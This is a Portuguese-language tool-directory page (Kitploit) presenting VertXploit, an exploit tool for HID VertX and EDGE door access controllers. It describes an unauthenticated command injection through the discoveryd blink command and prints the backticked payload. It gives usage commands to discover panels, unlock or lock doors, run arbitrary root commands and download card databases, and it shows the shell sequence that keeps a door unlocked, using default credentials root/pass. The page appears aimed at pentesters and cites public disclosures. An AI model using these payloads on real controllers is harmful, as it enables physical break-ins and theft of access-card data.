Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
VertXploit — Explorando sistemas de controle de acesso HID VertX e EDGE | Kitploit
Ferramentas/GitHubGitHub/coldfusion39/vertxploit
Mapeamento de RedeAnálise de VulnerabilidadesExploraçãoColeta de InformaçõesPós-ExploraçãoSegurança de Hardware e IoT
GitHubcoldfusion39/vertxploit

VertXploit

Explorando sistemas de controle de acesso HID VertX e EDGE

Ver Repositório
251034há 9 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

VertXploit

Explorando sistemas de controle de acesso HID VertX e EDGE

Resumo

VertXploit é uma ferramenta que pode ser usada para explorar sistemas de controle de acesso HID VertX e EDGE.

Existe uma vulnerabilidade no serviço discoveryd, que não sanitiza os dados do usuário antes de executar chamadas de sistema. Isso permite a execução arbitrária de código em sistemas de controle de acesso HID VertX e EDGE sem necessidade de autenticação. Consulte a seção Injeção de Comando para mais informações.

VertXploit pode destravar ou travar portas conectadas ao sistema de controle de acesso, baixar os bancos de dados contendo todos os cartões de controle de acesso provisionados/armazenados em cache e executar comandos arbitrários como root no sistema VertX, se vulnerável.

Se o firmware do controlador VertX foi atualizado recentemente, o vertXploit tentará destravar ou travar as portas por meio do console web usando o nome de usuário e a senha padrão ou fornecidos pelo usuário.

Requisitos

Execute pip install -r requirements.txt para instalar os módulos Python necessários.

  • python-nmap
  • requests
  • tabulate

Uso do VertXploit

Execute ./vertXploit.py -h para exibir o menu de ajuda, ou ./vertXploit.py ACTION -h para exibir ajuda para uma ação específica.

Discover

Execute o vertXploit apenas com o argumento de ação discover para descobrir todos os sistemas de controle de acesso HID na rede de broadcast local. Se um endereço IP for fornecido com o argumento opcional --ip IP, o vertXploit usará python-nmap para escanear esse intervalo de rede /24 em busca de sistemas com a porta 4050 aberta. O VertXploit enviará então um pacote UDP de descoberta para o endereço IP identificado para determinar se esse sistema é um painel de controle de acesso HID.

Exemplo:

./vertXploit.py discover

./vertXploit.py discover --ip 10.1.10.5

Fingerprint

Depois que um controlador for descoberto, execute o vertXploit com o argumento de ação fingerprint e o endereço IP do controlador de acesso para retornar informações detalhadas sobre o painel de controle de acesso.

Exemplo:

./vertXploit.py fingerprint 10.1.10.5

Unlock/Lock

Para destravar ou travar portas conectadas ao painel de controle de acesso, execute o vertXploit com o argumento de ação unlock ou lock e o endereço IP do controlador. Se o controlador não for vulnerável ao exploit de injeção de comando, o vertXploit tentará destravar ou travar as portas por meio do console web. Esse método usa o nome de usuário padrão 'root' e a senha padrão 'pass', ou você pode fornecer os seus próprios com os argumentos --username USERNAME e --password PASSWORD.

Exemplo:

./vertXploit.py unlock 10.1.10.5

./vertXploit.py unlock 10.1.10.5 --username test --password test

Raw

Comandos Linux arbitrários podem ser executados no sistema de controle de acesso usando o argumento de ação raw e o endereço IP do controlador. O comando pode falhar ao ser executado se não estiver instalado no controlador (Python, Perl, Ruby, etc). Como uma prova de conceito simples, o comando Linux nativo 'ping' parece funcionar em todos os modelos VertX e EDGE testados.

Exemplo:

./vertXploit.py raw 10.1.10.5 'ping -c 5 10.1.10.39'

Download

Para baixar os bancos de dados de cartões do controlador, execute o vertXploit com o argumento de ação download e o endereço IP do controlador. O controlador deve ser vulnerável à vulnerabilidade de injeção de comando e você deve conseguir acessar a interface web do controlador para baixar os dois bancos de dados de cartões. O nome de usuário padrão 'root' e a senha padrão 'pass' são usados para autenticação web, ou você pode fornecer os seus próprios com os argumentos --username USERNAME e --password PASSWORD.

Exemplo:

./vertXploit.py download 10.1.10.5

./vertXploit.py download 10.1.10.5 --username test --password test

Dump

Após baixar os bancos de dados 'IdentDB' e 'AccessDB' do controlador, use o argumento de ação dump para despejar o conteúdo dos bancos de dados. Opcionalmente, você pode especificar o caminho local dos arquivos dos bancos de dados com o argumento --path PATH.

Exemplo:

./vertXploit.py dump

./vertXploit.py dump --path /root/VertX/DBs/

Injeção de Comando

Normalmente, vários controladores de acesso VertX ou EDGE são instalados e alojados juntos. O comando de diagnóstico command_blink_on pode ser enviado a um controlador específico, o que faz com que o LED físico "Comm" do painel pisque para identificação visual. Esse comando geralmente termina com o número de vezes que o LED deve piscar, no caso a seguir, 30 vezes.

command_blink_on;044;00:11:22:33:44:55;30;

Ao substituir o número de piscadas por um comando Linux envolto em aspas invertidas, o comando será executado no controlador de acesso, como root.

command_blink_on;044;00:11:22:33:44:55;`ping -c 5 10.1.10.39`;

Para destravar e travar remotamente portas conectadas ao sistema de controle de acesso, os comandos são enviados para /tmp/a. Isso é feito porque há um limite de comprimento de 41 caracteres, sem contar as duas aspas invertidas, que podem ser enviados ao controlador. Nota: echo é usado em vez de printf porque alguns controladores VertX mais antigos estão executando BusyBox < 1.0.1, que não inclui printf.

As quebras de linha resultantes do envio dos comandos para o arquivo são então removidas executando tr -d '\n' < /tmp/a > /tmp/b e quebras de linha intencionais são inseridas executando tr '!' '\n' < /tmp/b > /tmp/a.

O script /tmp/a é então executado e ambos os arquivos são excluídos. Abaixo é mostrado quais comandos estão sendo enviados para /tmp/a quando os comandos de destravar e travar são enviados ao controlador VertX.

Destravar

# Set QUERY_STRING to the door unlock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=1"

# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi

# Remove executable permissions to prevent the door from locking
chmod -x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi

Travar

# Enable executable permissions
chmod +x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi

# Set QUERY_STRING to the door lock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=0"

# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi

Recursos

  • HeadlessZeke - Vulnerabilidade de injeção de comando
  • ZDI - Divulgação pública
  • TrendMicro Blog - Blog sobre a vulnerabilidade de injeção de comando
  • Brad Antoniewicz - Análise de números de cartão do cache VertX
  • Outro Trabalho - Comandos de descoberta do VertX
Baixar ferramenta